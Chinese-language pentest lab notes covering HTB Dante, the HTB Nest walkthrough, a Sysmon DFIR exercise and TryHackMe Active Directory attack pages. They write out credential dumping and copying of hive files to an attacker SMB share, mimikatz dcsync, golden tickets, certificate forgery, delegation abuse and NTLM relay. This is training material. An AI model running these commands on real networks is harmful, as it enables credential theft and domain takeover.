[button color="info" icon="" url="https://app.hackthebox.com/prolabs/overview/dante" type="round"]DANTE PROLABS Link[/button][scode type="yellow"]该靶机虽然是Beginner难度,但我也用了一周的时间来做以及消化其中的思路和方法[/scode][scode type="blue"]本篇文章不涉及任何Flag的透露。(但涉及一些环境的剧透)[/scode]简介Dante 是一个适合初学者的现代化 Pro Lab，提供学习常见渗透测试方法。Dante的机器有些老旧，过时，使用一些2021年之后的漏洞几乎可以通杀（Linux、Windows机器的PrivEsc），但毋庸置疑的是，Dante一个适合学习渗透思路和流程的优秀机器。在该Pro Labs中，可以学习到许多Web漏洞、Linux漏洞以及Windows漏洞，可以让我们熟练掌握现代化渗透测试工具的使用，如Metasploit框架，Cobalt Strike工具，多级代理工具的使用。在官方的介绍中，Dante是由14台机器组成（最后通关发现似乎只有13台，FW01未能到达），共计27个Flag。网络环境（Dante 是共享靶机，应该是每天重置一次，因此在打靶过程中要做好笔记，找好立足点，以便于靶机重置后能够快速开始接下来的渗透）完成Dante后，对Dante的网络环境做了一个简单的梳理，大概有 2 个子网网段(172.16.1.1/24和172.16.2.1/24),根据Dante的机器,做了一个简单的拓扑图多级网络, 因此需要进行尝试进行多层代理第一次打Dante使用ssh -D搭建socks5隧道,配合Proxychains进行渗透,但感觉太麻烦了,在全部打完后,了解到根据Ligolo-Ng,操作简单易上手,但对于Double Piovting,还是有些不太熟悉.通过Dante的网络环境,我也使用Cobalt Strike进行上线,结果如图:(cs似乎不支持linux 机器作为中转监听器,还没找到解决方法)建议与总结Dante 不难,主要在于信息收集,不要遗漏可能存在信息的地方.十几台机器之间也是有通用的地方,比如账号密码(凭据), 收集到的信息(凭据,端口等)要做好记录,可能存在漏洞的地方都要尝试一下,不用着急速通.这种存在多个网段/多台机器的环境,每拿到一个机器的权限,要记得尝试ping一下,查看是否存在其他存活机器.Dante的机器有些老了,可以先尝试使用一些危害比较大的漏洞(如ms17-010),之后可以尝试去找预期解法.Dante里还有几个二进制的题目(不会),但都可以非预期(bushi)
信息 系统Linux难度Easy状态退役IP/靶机地址https://app.hackthebox.com/machines/Nest$ nmap -p445,4386 -sC -sV 10.129.147.65 -oA nmapres/details PORT STATE SERVICE VERSION 445/tcp open microsoft-ds? 4386/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: | Reporting Service V1.2 | FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: | Reporting Service V1.2 | Unrecognised command | Help: | Reporting Service V1.2 | This service allows users to run queries against databases using the legacy HQK format | AVAILABLE COMMANDS --- | LIST | SETDIR <Directory_Name> | RUNQUERY <Query_ID> | DEBUG <Password> |_ HELP <Command>初探4386端口$ nc 10.129.147.65 4386 HQK Reporting Service V1.2 >help ^C使用nc连接，挂起后没有反应使用telnet就可以了└─$ telnet 10.129.147.65 4386 Trying 10.129.147.65... Connected to 10.129.147.65. Escape character is '^]'. HQK Reporting Service V1.2 >help This service allows users to run queries against databases using the legacy HQK format --- AVAILABLE COMMANDS --- LIST SETDIR <Directory_Name> RUNQUERY <Query_ID> DEBUG <Password> HELP <Command>445端口$ smbclient -L \\10.129.147.65 $ crackmapexec smb 10.129.147.65 -u 'guest' -p '' --shares $ smbmap -u guest -p '' -H 10.129.147.65 [+] IP: 10.129.147.65:445 Name: 10.129.147.65 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC Secure$ NO ACCESS Users READ ONLY $ smbclient -N \\\\10.129.147.65\\Data smb: \Shared\> get "Templates\HR\Welcome Email.txt" - Username: TempUser Password: welcome2019 $ smbclient -N \\\\10.129.147.65\\Users smb: \> ls Administrator C.Smith L.Frost R.Thompson TempUser // 使用新获得的凭据登陆可以获得更多信息 $ smbclient -U 'TempUser%welcome2019' \\\\10.129.147.65\\Data smb: \> recurse smb: \> prompt smb: \> mget * // 使用新的凭据，有了更多可读的目录,增加了一个Secure$ $ smbmap -u TempUser -p welcome2019 -H 10.129.147.65 Secure$ READ ONLY 目录Users下的目录名应该是用户名，先存为文件user.txt在访问目录Secure$后没得到任何有效的信息，先看看在Data目录下载的文件吧$ find ./ -name "*.xml" -print0 2>/dev/null | xargs -0 more File: ./IT/Configs/NotepadPlusPlus/config.xml <File filename="C:\windows\System32\drivers\etc\hosts" /> <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" /> <File filename="C:\Users\C.Smith\Desktop\todo.txt" /> File: ./IT/Configs/RU Scanner/RU_config.xml <Username>c.smith</Username> <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>密码应该是某种加密（不要在tmux下进行base64解密，被误导了....）关注\\HTB-NEST\Secure$\IT\Carl\Temp.txt,这个地方提及了在Secure$\IT目录下，存在目录Carl$ smbclient -U 'TempUser%welcome2019' \\\\10.129.147.65\\Secure$ smb: \> ls IT\Carl\ . D 0 Thu Aug 8 03:42:14 2019 .. D 0 Thu Aug 8 03:42:14 2019 Docs D 0 Thu Aug 8 03:44:00 2019 Reports D 0 Tue Aug 6 21:45:40 2019 VB Projects D 0 Tue Aug 6 22:41:55 2019此时就可以访问了，同上，将其中的文件全部下载下来smb: \> cd IT\Carl\ smb: \> recurse;prompt;mget *是一个Visual Basic语言编写的项目，可以使用Visual Studio打开文件夹中的RUScanner.sln,运行项目报错原因是找不到文件RU_config.xml，这个文件在Data目录下下载的，移动到目录Debug下就可以了，成功编译得到DbPof.exe使用32位的dnsPy进行反编译在处理密码的地方进行断点调试步过得到密码"xRxRxPANCAK3SxRxRx"记录凭据c.smith:xRxRxPANCAK3SxRxRx现在应该可以访问用户目录\Users\C.Smith了$ smbclient -U 'c.smith%xRxRxPANCAK3SxRxRx' \\\\10.129.147.65\\Users // 同上，将用户C.smith目录下的文件全部下载下来 smb: \> cd C.Smith\ smb: \> recurse; prompt; mget * // 密码文件为空，查看文件的全部属性 smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt" altname: DEBUGM~1.TXT create_time: Fri Aug 9 07:06:12 AM 2019 CST access_time: Fri Aug 9 07:06:12 AM 2019 CST write_time: Fri Aug 9 07:08:17 AM 2019 CST change_time: Thu Jul 22 02:47:12 AM 2021 CST attributes: A (20) stream: [::$DATA], 0 bytes stream: [:Password:$DATA], 15 bytes // 有隐藏的文件流 smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password:$DATA"获得用户flag 和Debug Mode Password： WBQ201953D8w再探4386telnet 10.129.147.65 4386 > debug WBQ201953D8w > setdir .. > setdir ldap > list [1] HqkLdap.exe [2] Ldap.conf > showquery 2 Domain=nest.local Port=389 BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local User=Administrator Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=将上述内容存为 ldap.conf在C.smith的目录下，下载过一个exe文件，使用64为dnsPy进行反编译if (MyProject.Application.CommandLineArgs.Count != 1) { Console.WriteLine("Invalid number of command line arguments"); } else if (!File.Exists(MyProject.Application.CommandLineArgs[0])) { Console.WriteLine("Specified config file does not exist"); } else if (!File.Exists("HqkDbImport.exe")) { Console.WriteLine("Please ensure the optional database import module is installed"); } else{ LdapSearchSettings ldapSearchSettings = new LdapSearchSettings(); string[] array = File.ReadAllLines(MyProject.Application.CommandLineArgs[0]); foreach (string text in array) { if (text.StartsWith("Domain=", StringComparison.CurrentCultureIgnoreCase)) { ldapSearchSettings.Domain = text.Substring(text.IndexOf('=') + 1); } else if (text.StartsWith("User=", StringComparison.CurrentCultureIgnoreCase)) { ldapSearchSettings.Username = text.Substring(text.IndexOf('=') + 1); } else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase)) { ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1)); } } }程序判断HqkDbImport.exe是否存在因此需要在程序的同级目录下，创建一个文件HqkDbImport.exe打断点，传参获得解密后的密码XtH4nkS4Pl4y1nGX,对应的用户名是administratorSystem Shell$ impacket-psexec administrator:XtH4nkS4Pl4y1nGX@10.129.147.65 C:\Windows\system32>在Administrator桌面上获得root的flaghashdumpreg save hklm\system system.bak reg save hklm\sam sam.bak尝试使用psexec的lget命令下载文件失败了，这里使用smbserver传输文件// 攻击机启动smbserver impacket-smbserver -smb2support -username st4rry -password password nest $(pwd) // 在windows机器下 > net use \\10.10.16.12\nest /user:st4rry password The command completed successfully. > copy system.bak \\10.10.16.12\nest 1 file(s) copied. > copy sam.bak \\10.10.16.12\nest 1 file(s) copied.最后在攻击机运行$ impacket-secretsdump -sam sam.bak -system system.bak local Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7e29652b785a5292c58d57d5a47bdeb::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: TempUser:1002:aad3b435b51404eeaad3b435b51404ee:5718656c63a09d3b6c7dffde0d7a3457::: C.Smith:1004:aad3b435b51404eeaad3b435b51404ee:79a10c3d3176976397b25fd7086d17e1::: Service_HQK:1005:aad3b435b51404eeaad3b435b51404ee:b0cf54ef7d731832f9b6df4f1b575aca:::总结难度为Easy的机器考察点一般都为信息收集，当信息收集到位了，也就可以达到想要的结果该机器中就存在很多小细节，比如：不能直接访问Secure$ 目录下的其他目录，但可以访问目录里的子目录（需要在配置文件中获取路径）隐藏的文件流 （第一次遇见）smbclient可以使用allinfo命令查看【 alternative data stream (ADS)】还有，使用dnsPy反编译，打断点调试获取解密后的数据关于为什么nc连接4386只是挂起，而telnet却可以交互参考0xdf Blogwireshare 抓包比较nc 和telnet的区别（一）nc$ nc 10.129.147.65 4386 HQK Reporting Service V1.2 >help ^C(二) telnet$ telnet 10.129.147.65 4386 Trying 10.129.147.65... >help可以看到telnet后是多了十六进制0d0a，其对应的字符也就是\r\n使用python socket也是可以实现的import socket ip = "10.129.147.65" port = 4386 addr = (ip, port) with socket.socket() as s: s.connect(addr) msg1 = s.recv(2048) print(msg1) msg2 = s.recv(1024) print(msg2) s.send(b"help\r\n\r\n") msg3 = s.recv(1024) print(msg3.decode())
[HTB-Sherlocks] Unit42 (Window Sysmon日志分析)
分类难度DFIRVery EasySherlock ScenarioIn this Sherlock, you will familiarize yourself with Sysmon logs and various useful EventIDs for identifying and analyzing malicious activities on a Windows system. Palo Alto's Unit42 recently conducted research on an UltraVNC campaign, wherein attackers utilized a backdoored version of UltraVNC to maintain access to systems. This lab is inspired by that campaign and guides participants through the initial access stage of the campaign.学习目标:熟悉 Sysmon 日志和 常用的 EventID识别和分析 Windows 系统上的恶意活动UltraVNC 的后门版本前置知识Sysmon 是一项额外的服务，可以安装在 Windows 系统上，以提供更多的系统活动日志记录。它对于收集诸如具有完整命令行的进程事件、进程映像的哈希值、网络连接和注册表修改等内容特别有用。Sysmon 是高度可配置的，因此给定系统上将出现什么样的日志将取决于它的配置.EventIds:Microsoft EventIDsID事件 1Process creation进程创建2A process changed a file creation time进程修改文件创建时间3Network connection网络连接4Sysmon service state changedSysmon 服务状态改变5Process terminated进程终止6Driver loaded驱动已加载7Image loaded镜像已加载8CreateRemoteThread进程创建线程9RawAccessRead 10ProcessAccess进程访问11FileCreate文件创建12Registry Object create and delete创建和删除注册表对象13Registry Vault set注册表值设置14Registry Key and Value Rename注册表键值重命名15FileCreateStreamHash 16ServiceConfigurationChange服务配置更改17Pipe Created管道已创建18Pipe Connected管道已连接19WmiEventFilter activity detectedWmiEventFilter 活动检测20WmiEventConsumer activity detectedWmiEventConsumer 活动检测21WmiEventConsumerToFilter activity detected 22DNS query 23File Delete archived文件已删除（带存档）24New content in the clipboard 25Process image change 26File Delete logged文件已删除（无存档）27FileBlockExecutable 28FileBlockShredding 29FileExecutableDetected 255Error Q: 怎么分析evtx文件？A: 可以使用Windows自带的图形化界面事件查看器，或者命令行工具EvtxECmd.exeTask 1事件 ID 为 11 的事件日志有多少个？使用事件查看器 进行过滤答案： 56或者使用Powershell命令Get-WinEvent -Path '.\Microsoft-Windows-Sysmon-Operational.evtx' -FilterXPath "*[System[(EventID=11)]]" | Measure-Object再或者参考0xdf Blog,使用EvtxECmd.exe 进行分析$ EvtxECmd.exe -f .\Microsoft-Windows-Sysmon-Operational.evtx --json . // 生成一个json文件 // 使用 jq 处理数据 $cat 20240725114336_EvtxECmd_Output.json | jq -sc 'group_by(.EventId) | map({EventId:.[0].EventId,count: length}) | .[]' {"EventId":1,"count":6} {"EventId":2,"count":16} {"EventId":3,"count":1} {"EventId":5,"count":1} {"EventId":7,"count":15} {"EventId":10,"count":1} {"EventId":11,"count":56} {"EventId":12,"count":14} {"EventId":13,"count":19} {"EventId":15,"count":2} {"EventId":17,"count":7} {"EventId":22,"count":3} {"EventId":23,"count":26} {"EventId":26,"count":2}Task 2每当在内存中创建一个进程时，都会记录一个事件 ID 为 1 的事件，其中包含命令行、哈希值、进程路径、父进程路径等详细信息。这些信息对于分析人员来说非常有用，因为它允许我们查看所有程序在系统上执行，这意味着我们可以发现正在执行的任何恶意进程。感染受害者系统的恶意进程是什么？每创建一个进程都会记录一个EventID 为 1 的事件使用同Task 1的方法，使用 事件查看器进行过滤 EventID = 1 的事件，在这类事件中，发现执行了命令CommandLine: "C:\Users\CyberJunkie\Downloads\Preventivo24.02.14.exe.exe"，通过浏览器搜索Preventivo24可以发现，这是一个恶意的程序。哈希值:Hashes: SHA1=18A24AA0AC052D31FC5B56F5C0187041174FFC61, MD5=32F35B78A3DC5949CE3C99F2981DEF6B, SHA256=0CB44C4F8273750FA40497FCA81E850F73927E70B13C8F80CDCFEE9D1478E6F3, IMPHASH=36ACA8EDDDB161C588FCF5AFDC1AD9FA 结合一些云沙箱,如virustotal,AnyRUN等,输入hash即可查看文件是否为恶意文件(已被上传过)答案:C:\Users\CyberJunkie\Downloads\Preventivo24.02.14.exe.exe或者参考0xdf的方法:$ cat .\20240408132435_EvtxECmd_Output.json | jq -c 'select(.EventId == 1)' > eventid1.json $ cat .\eventid1.json | jq -s '.[0]' $ cat .\eventid1.json | jq -s '.[] | [.TimeCreated, .PayloadData4, .ExecutableInfo, .PayloadData1, .PayloadData5]' $ cat .\eventid1.json | jq -s '.[1]'Task 3哪个云驱动器被用来分发恶意软件？Task 4初始恶意文件在磁盘上创建的许多文件都带有时间戳（一种防御规避技术，更改文件创建日期以使其看起来很旧）。 PDF 文件的时间戳更改为多少？Task 5恶意文件在磁盘上删除了一些文件。 “once.cmd”在磁盘上的何处创建？请回答完整路径和文件名。Task 6恶意文件尝试到达虚拟域，很可能是为了检查互联网连接状态。它尝试连接到哪个域名？Task 7恶意进程尝试访问哪个 IP 地址？Task 8该恶意进程在使用 UltraVNC 后门变体感染 PC 后自行终止。该进程何时终止？恶意软件来源分析恶意软件会做什么? 根据恶意软件可能会做的事情,重点关注 文件事件(11)|(2),网络事件(3),DNS事件(22)使用事件查看器过滤, 然后在进行分析,过滤方法同上:事件ID为11,是创建文件; 事件ID为2,是修改文件的时间恶意文件再被创建完成之后,一般都会被修改时间(GUI 略)// 文件创建的文件名和创建时间 $ cat 20240725114336_EvtxECmd_Output.json | jq -c 'select(.EventId == 11)'|jq -s '.[] | [.PayloadData4,.TimeCreated]'通过命令执行的结果可以知道,这些文件几乎都是再时间"2024-02-14T03:41:58.4600817+00:00"附近创建的,包不正常的其中存在一个文件C:\Users\CyberJunkie\AppData\Roaming\Photo and Fax Vn\Photo and vn 1.1.2\install\F97891C\WindowsVolume\Games\once.cmd (Task 5)查看文件修改的时间🍀 cat 20240725114336_EvtxECmd_Output.json | jq -c 'select(.EventId == 2)' | jq -s '.[] | [.PayloadData4,.PayloadData5,.PayloadData6,.TimeCreated]'其中PDF文件的部分└─🍀 cat 20240725114336_EvtxECmd_Output.json | jq -c 'select(.EventId == 2)' | jq -s '.[] | [.PayloadData4,.PayloadData5,.PayloadData6,.TimeCreated]' | grep pdf -A 4 -B 1 | jq -s [ [ "TargetFilename: C:\\Users\\CyberJunkie\\AppData\\Roaming\\Photo and Fax Vn\\Photo and vn 1.1.2\\install\\F97891C\\TempFolder\\~.pdf", "CreationTimeUTC: 2024-01-14 08:10:06.029", "PreviousCreationTimeUTC: 2024-02-14 03:41:58.404", "2024-02-14T03:41:58.4101450+00:00" ] ]初次创建文件的时间为2024-01-14 08:10:06(Task 4)查看一下DNS 事件└─🍀 cat 20240725114336_EvtxECmd_Output.json | jq -c 'select(.EventId == 22)' | jq -s '.[] | [.TimeCreated,.PayloadData4,.PayloadData3]' [ "2024-02-14T03:41:26.4441194+00:00", "QueryName: uc2f030016253ec53f4953980a4e.dl.dropboxusercontent.com", "Image: C:\\Program Files\\Mozilla Firefox\\firefox.exe" ] [ "2024-02-14T03:41:45.7793186+00:00", "QueryName: d.dropbox.com", "Image: C:\\Program Files\\Mozilla Firefox\\firefox.exe" ] [ "2024-02-14T03:41:58.7648370+00:00", "QueryName: www.example.com", "Image: C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe" ]firefox是从d.dropbox.com下载的(不知道答案为什么是dropbox(Task 3))访问了www.example.com(Task 6).网络连接事件(3)的EventId值为3└─🍀 cat 20240725114336_EvtxECmd_Output.json | jq -c 'select(.EventId == 3)' | jq -s '.[] |[.TimeCreated,.PayloadData4,.PayloadData6]' [ "2024-02-14T03:41:58.9054838+00:00", "SourceIp: 172.17.79.132", "DestinationIp: 93.184.216.34" ]目的IP是93.184.216.34 (Task 7)进程终止的EventId 值为 5└─🍀 cat 20240725114336_EvtxECmd_Output.json | jq -c 'select(.EventId == 5)' | jq -s '.[] | [.TimeCreated,.ExecutableInfo]' [ "2024-02-14T03:41:58.7996518+00:00", "C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe" ]终止事件的时间为2024-02-14 03:41:58 (Task 8)总结Symson 日志的分析最简单的方法是使用图形化界面事件查看器进行分析,但可以感觉到事件查看器在使用过程中很卡,可以使用EvtxECmd工具将evtx文件转化为json后,使用jq 对数据进行分析。需要对EventId的值和含义有了解。
THM Roomgrace.clarke Password1 ssh za\\grace.clarke@thmwrk1.za.tryhackme.loc Administrator tryhackmewouldnotguess1@ ZA ssh za\\administrator@thmwrk1.za.tryhackme.lochttps://codebeautify.org/ntlm-hash-generatorPersistence through Credentials (通过凭据)管理员权限// 针对单个账户 mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username> // 启用日志 mimikatz # log <username>_dcdump.txt // 域上的所有账户 mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all // 获取用户名 cat <username>_dcdump.txt | grep "SAM Username" // 获取hash cat <username>_dcdump.txt | grep "Hash NTLM"Persistence through Tickets (通过票证)金票 和 银票金票如果有krbtgt账户的哈希值,则可以创建Tickets不需要发送AS-REQ向KDC去验证身份使用krbtgt签署票据就可以验证TGT给定krbtgt的哈希值,可以欺骗TGT中的时间戳,使票证有效的时间延长所需:krbtgt ntlm哈希值Domain FQDN 【完全限定域名（英语：Fully qualified domain name）】Domain SID要模拟的用户名使用mimikatz伪造金票获取Domain SIDGet-ADDomain mimikatz # kerberos::golden /admin:St4rry /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt mimikatz # exit 可以使用klist进行验证清除票据在mimikatz 下运行 kerberos::purge借助klist klist purge可以通过简单地旋转KRBTGT密码两次来防御这种攻击旋转KRBTGT密码是指更改域控制器上KRBTGT账户的密码。使用Impacket-ticketer伪造金票ticketer.py -nthash 16f9af38fca3ada405386b3b57366082 -domain-sid S-1-5-21-3885271727-2693558621-2658995185 -domain za.tryhackme.loc Thisisuser export KRB5CCNAME=Thisisuser.ccache wmiexec.py -k -no-pass za.tryhackme.loc/administrator@thmdc.za.tryhackme.loc # 或者其他的，如psexec银票与金票相比，影响有限，伪造的是TGS当用户想要访问特定服务时会请求 TGS 票证TGS是在与KDC进行身份验证后创建的这意味着，银票永远不需要与 KDC 交谈只有攻击者和目标服务服务将在特定机器上运行TGS 将使用机器的哈希进行签名给定机器的密码哈希：作为假用户伪造 TGS更改票证中的组 SID将我们自己置于目标的特权本地群体中当拥有机器的访问权限时，修改密码轮换间隔（默认30天）mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /pttPersistence through Certificates (通过证书)此攻击围绕获取域的证书颁发机构 (CA) 的私钥进行。有了私钥，攻击者现在可以有效地“批准”他们自己的证书签名请求（CSR）并为任何用户生成证书。在 Kerberos 身份验证中，用户可以通过提供其公钥进行身份验证。在具有管理员权限的pc上提取私钥C:\Tools\mimikatz_trunk\x64\mimikatz.exe mimikatz # crypto::certificates /systemstore:local_machine mimikatz # privilege::debug mimikatz # crypto::capi mimikatz # crypto::cng mimikatz # crypto::certificates /systemstore:local_machine /export mimikatz $ exit重点关注导出的za-THMDC-CA.pfx使用ForgeCert生成自己的证书C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123 CaCertPath - 我们导出的 CA 证书的路径。CaCertPassword - 用于加密证书的密码。默认情况下，Mimikatz 分配的密码为 mimikatz 。Subject: 证书的主题或通用名称。可以为CN=UserSubjectAltName: 证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。NewCertPath - ForgeCert 将存储生成的证书的路径。NewCertPassword: 证书的密码使用 Rubeus 来使用证书请求 TGT，以验证证书是否可信C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:上面生成的证书 /password:密码 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:DCIP<域控的IP>/user - 这指定我们将模拟的用户,必须与整数的UPN相同/enctype - 指定票证的加密类型/certificate - 我们生成的证书的路径/password - 我们的证书文件的密码/outfile - TGT 将输出到的文件 (.kirbi)/domain - 当前攻击的域的 FQDN/dc - 请求 TGT 的域控制器的 IP (一般为域控DC)使用 Mimikatz 加载 TGTmimikatz # kerberos::ptt administrator.kirbi证书持久性难以防御。即使你更换被攻陷账户的凭证，证书仍然有效。唯一消除持久性的方法是吊销证书。然而，这只有在通过合法渠道生成证书时才可能实现。由于我们导出了 CA 并自行生成了证书，它不会出现在 AD CS 的颁发证书列表中，这意味着蓝队无法吊销我们的证书。必须吊销根 CA 证书才可以.吊销这个证书意味着AD CS颁发的所有证书都会突然失效。这意味着他们必须为每个使用 AD CS 的系统生成新证书。\Persistence through SID HistorySID History 允许一个账户附加到另一个账户,拥有其权限常用于在进行域迁移时，新域上的账户可以具有旧域账户的SID 历史记录，以便在迁移期间保留对旧域的访问权限滥用此功能的一种方法是将特权组（如Domain Admins组）的SID添加到低权限用户的SID History中。即使用户不是AD中的组成员，系统也会对用户进行授权。利用过程：在具有管理员权限的凭据访问域控（Domain Controller）(未完成) // 检查低权限用户的SIDHistory 和 组成员身份（memberof） Get-ADUser "username" -Pro
barbara.reid Password1 ssh za.tryhackme.loc\\barbara.reid@thmwrk1.za.tryhackme.loc ssh za.tryhackme.loc\\t2_robin.wyatt@thmserver1.za.tryhackme.lochttps://tryhackme.com/r/room/exploitingadBloodHound官方文档Permission Delegation(权限委派)权限委派利用通常被称为基于ACL的攻击。Active Directory允许管理员配置访问控制项（ACE），这些访问控制项会填充自定义访问控制列表（DACL），因此得名基于ACL的攻击。几乎任何AD对象都可以使用ACE进行保护，ACE描述了任何其他AD对象对目标对象的允许和拒绝权限。所以当前用户可以把其他用户加入到IT Support组中Add-AdGroupMember "IT SUPPORT" -Members "UserName"失败报错access denied,表明您的 IT 支持组成员身份尚未通过网络完全复制。并不是立即生效，可能需要等待几分钟，gpupdate /force可能可以缩短等待时间IT Support组成员对Tier 2 Admins组的用户有ForceChangePassword权限，可以强制修改用户的密码// $passwd = CovertTo-SecureString "PasswordString" -AsPlaintext -Force Set-AdAccountPassword -Identity "UserName" -Reset -NewPassword $passwd 运行之后，目标用户的密码就被修改了Kerberos Delegation（Kerberos 委派）AD 委派 通常是指Kerberos委派，而不是Permission Delegation。Kerberos 委派的实际用途是使一个应用程序能够访问托管在不同服务器上的资源。一个例子是，一个Web服务器需要访问托管在数据库服务器上的SQL数据库，以支持它所托管的Web应用程序。没有委派的情况下，我们可能会使用一个AD服务账户，并为其提供直接访问数据库的权限。当对Web应用程序发出请求时，该服务账户将用于认证到数据库并获取信息。然而，我们可以允许将这个服务账户委派给SQL服务器服务。一旦用户登录到我们的Web应用程序，服务账户就会代表该用户请求访问数据库。这意味着用户只能访问他们有相关权限的数据，而不需要为服务账户本身提供任何数据库权限。约束委派和无约束委派 （Constrained vs Unconstrained）无约束委派：只要用户设置了 TRUSTED_FOR_DELEGATION 标志，主机对其可以代表连接的用户访问的资源没有限制。用户连接后，主机会为用户请求 TGT 并将其缓存在本地以供将来使用。有了 TGT（票据授予票据），攻击者可以继续访问该 TGT 所属用户可以访问的任何资源。约束委派：限制了服务账户可以代表用户请求的服务类型。约束委派限制了帐户可以委派的服务，从而限制了帐户被泄露时的风险HTTP、CIFS、LDAP、HOST、MSSQL。基于资源的约束委派：（Resource-Based Constrained Delegation) 指定哪些对象可以委托给它，而不是指定哪个对象可以委托给哪个服务。mimikatz.exe mimikatz # token::elevate mimikatz # lsadump::secrets // 可以获取用户svcIIS的密码Password1@# kekeo 导出TGT kekeo.exe kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@ kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones // user为想要模拟的用户 # 然后再用mimikatz 导入TGT mimikatz # privilege::debug mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi # 创建新的会话 PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc # 进入会话 PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.locgetST.py -spn HTTP/thmserver1.za.tryhackme.loc -impersonate administrator 'za.tryhackme.loc/svcIIS:Password1@' psexec.py -k -no-pass za.tryhackme.loc/Administrator@thmserver1.za.tryhackme.loc Automated Relays 中继服务可以强制计算机帐户发起身份验证请求计算机帐户(Computer accounts) – 与用户帐户一样 – 有用户名和密码 - 30天轮换一次The Printer Bug允许域用户强制计算机帐户连接到任意 IP 地址所需要的条件拥有一组有效的 AD 凭据目标主机正在运行 SMB目标主机正在运行 Print Spooler 服务不得强制执行 SMB 签名// 验证是否在运行打印程序 Get-WmiObject Win32_Printer -Computer hostname.fqdn // 或者 Get-PrinterPort -ComputerName hostname.fqdn验证是否强制执行SMB签名sudo nmap -Pn -p445 --script=smb2-security-mode thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.locMATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN psudo ntlmrelayx.py -smb2support -t smb://"10.200.60.201" -debug .\SpoolSample.exe thmserver2.za.tryhackme.loc "ATTACK IP"Exploiting AD Users 利用 AD 用户枚举信息meterpreter\>migrate 3612.kdbx文件，可以用keepassxc和kpcli打开// msf 捕获输入 keyscan_start keyscan_dump keyscan_stop 密码： ImreallysurenoonewillguessmypasswordExploiting GPOs 利用 GPO组策略对象Uname: svcServMan Pass: Sup3rStr0ngPass!@runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe mmc.exeFile -> Add/Remove Snap-ins -> Group Poclicy Managment OK展开到Group Policy Management -> Forest:tryhackme.loc -> Domain -> za.tryhackme.com -> Servers -> Management Servers -> Management Server Pushes 右键 Edit 展开到Management Server Pushes -> Computer Configuration -> Policies -> Windows Setting -> Secure Setting -> Restricted Groups 右键 Add group, 给出Group Name 之后添加Member Of,等待 15 minu左右 ( 还可以使用gpupdate /force更新)之后该组就有了管理员权限Certificates 漏洞https://posts.specterops.io/certified-pre-owned-d95910965cd2https://tryhackme.com/r/room/adcertificatetemplates略Domain Trusts 域信任域之间可配置的信任主要有两种类型：定向 - 信任从信任域流向受信任域的方向可传递 - 信任关系不仅仅限于两个域，还包括其他受信任的域KRBTGT and Golden Tickets （金票）在黄金票证攻击中，我们完全绕过 KDC（密钥分发中心），并创建我们自己的 TGT，从本质上来说，我们自己成为了一个票据授予服务器（TGS）。需要的信息：域的 FQDN域的安全标识符 (SID)要模拟的帐户的用户名KRBTGT 密码哈希mimikatz # lsadump::dcsync /user:za\krbtgt mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt
